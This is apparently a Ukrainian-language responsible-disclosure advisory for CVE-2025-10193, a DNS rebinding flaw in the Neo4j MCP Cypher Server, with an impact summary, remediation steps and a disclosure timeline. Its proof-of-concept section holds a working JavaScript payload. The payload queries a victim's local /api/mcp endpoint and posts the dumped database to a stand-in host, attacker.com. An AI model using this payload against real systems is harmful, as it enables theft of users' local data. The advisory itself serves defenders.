Автор: Evan Harris
Уражений компонент: Neo4j MCP Cypher Server
Вразливі версії: від 0.2.2 до 0.3.1
CVE: CVE-2025-10193
Оцінка CVSS 4.0: 7.4 (Високий) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Огляд

Сервер Neo4j MCP Cypher надає HTTP-ендпоінт для виконання Cypher-запитів до бази даних Neo4j.

MCPSec виявила вразливість DNS rebinding у сервері, яка дозволяє віддаленим зловмисникам обходити політики безпеки браузера та виконувати довільні Cypher-запити до доступного через MCP екземпляра бази даних.

Neo4j усунула цю проблему в релізі v0.4.0. Усім користувачам уражених версій слід негайно оновитися.


Наслідки

Зловмисники отримують повний POST-доступ до ендпоінту /api/mcp, який надає локальний сервер Neo4j MCP Cypher.

Це відкриває можливість несанкціонованого виконання будь-яких Cypher-запитів, фактично надаючи зловмиснику повний адміністративний контроль над базою даних Neo4j. Це може призвести до такого:

  • Повне вивантаження конфіденційної інформації, що зберігається в базі даних.
  • Несанкціонована зміна даних або їх пошкодження.
  • Видалення даних та відмова в обслуговуванні.

Атаку DNS rebinding можна виконати протягом кількох секунд після того, як жертва відвідає шкідливий сайт, і вона потребує лише того, щоб вразливий сервер був запущений локально.

Proof of Concept

Сценарій атаки передбачає таке:

  • Жертва запускає вразливу версію сервера Neo4j MCP Cypher на своєму локальному комп’ютері.
  • Жертва переходить на шкідливий сайт, підконтрольний зловмиснику.
  • Сайт виконує атаку DNS rebinding, змушуючи браузер жертви надсилати команди на сервер Neo4j.

Після завершення rebinding зловмисник може використати браузер жертви для надсилання шкідливих Cypher-запитів на локально обслуговуваний ендпоінт /api/mcp. Потім дані можуть бути вивантажені на сервер зловмисника, або може бути виконана зміна та видалення даних.

MCPSec провела атаку у форматі proof of concept, виконавши такі кроки:

  1. Розгорніть застосунок для DNS rebinding (наприклад, Singularity of Origin).

  2. Створіть JavaScript-payload, який доставляє шкідливий сайт, для виконання запиту та вивантаження даних.

const Neo4jRebind = () => {
  // The core attack function. It sends a malicious Cypher query.
  function attack(headers, cookie, body) {
    const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
    fetch('http://localhost:8000/api/mcp', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Accept': 'application/json, text/event-stream',
        'Connection': 'keep-alive',
        'Cache-Control': 'no-cache'
      },
      body: JSON.stringify({ query: maliciousQuery })
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
      response.text().then(databaseContents => {
        // Send the stolen database contents to the attacker's server
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          body: JSON.stringify(databaseContents)
        });
      }).catch(e => console.error('Failed to parse Neo4j response', e));
    }).catch(e => console.error("Failed to post Cypher query", e));
  }

  // Function to check if the rebound service is the target Neo4j server
  async function isService(headers, cookie, body) {
    try {
      const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
      // A successful ping (even opaque) suggests the port is open.
      return true;
    } catch (e) {
      return false;
    }
  }

  return {
    attack,
    isService
  }
}

Registry["Neo4jRebind"] = Neo4jRebind();
  1. Запустіть сервер збору даних, щоб прийняти POST-запит, який містить викрадений вміст бази даних.

Нижче наведено приклад JSON-даних, вивантажених із бази даних жертви, що містять потенційно конфіденційну інформацію про користувачів.

{
  "results": [
    {
      "columns": ["n"],
      "data": [
        {
          "row": [
            {
              "name": "Evan Harris",
              "email": "evan.harris@example.com",
              "role": "admin",
              "password_hash": "sha256:abc123def456..."
            }
          ],
          "meta": [{...}]
        },
        {
          "row": [
            {
              "project": "Project Titan",
              "api_key": "neo-secret-key-xyz789",
              "status": "active"
            }
          ],
          "meta": [{...}]
        }
      ]
    }
  ],
  "errors": []
}

Рекомендовані заходи з усунення

Для користувачів (негайно)

  • Негайно оновіть mcp-neo4j-cypher до версії v0.4.0 або новішої. Ця версія містить патч, який перевіряє HTTP-заголовок Host для запобігання цій атаці.
  • Якщо оновлення неможливе, перейдіть з HTTP на stdio. Як альтернативу встановіть фільтр мережевих запитів перед вашим сервером Neo4j Cypher MCP для захисту від недійсних заголовків Host.

Про цю вразливість було повідомлено команду Neo4j у межах практик відповідального розкриття. Команда швидко відреагувала, щоб перевірити та виправити проблему.


Хронологія розкриття

  • 2025-09-08: Neo4j підтверджує отримання звіту.
  • 2025-09-09: Neo4j визнає ризик, пов’язаний з вектором атаки.
  • 2025-09-09: Команді Neo4j надано докладні рекомендації та приклади усунення.
  • 2025-09-09: Neo4j створює pull request із захисними заходами.
  • 2025-09-11: Випущено виправлену версію v0.4.0.
  • 2025-09-11: Присвоєно CVE-2025-10193 та опубліковано GitHub Security Advisory.
  • 2025-09-12: Узгоджено дату публікації технічного бюлетеня безпеки.
  • 2025-10-13: Опубліковано технічний бюлетень безпеки.

Висновок

Вразливість DNS rebinding у сервері Neo4j MCP Cypher підкреслює високий ризик безпеки для інструментів розробника, які надають доступ до локальних інтерфейсів баз даних. Надаючи потужну локальну функціональність, такі сервіси можуть стати шлюзом для вебатак, якщо вони не захищені належним чином. Це може призвести до повної компрометації конфіденційних даних.

Висловлюємо вдячність команді Neo4j за професійну та оперативну реакцію під час усунення цієї вразливості. Усім користувачам ураженого компонента слід оновитися до останньої версії, щоб забезпечити захист своїх даних.

Джерела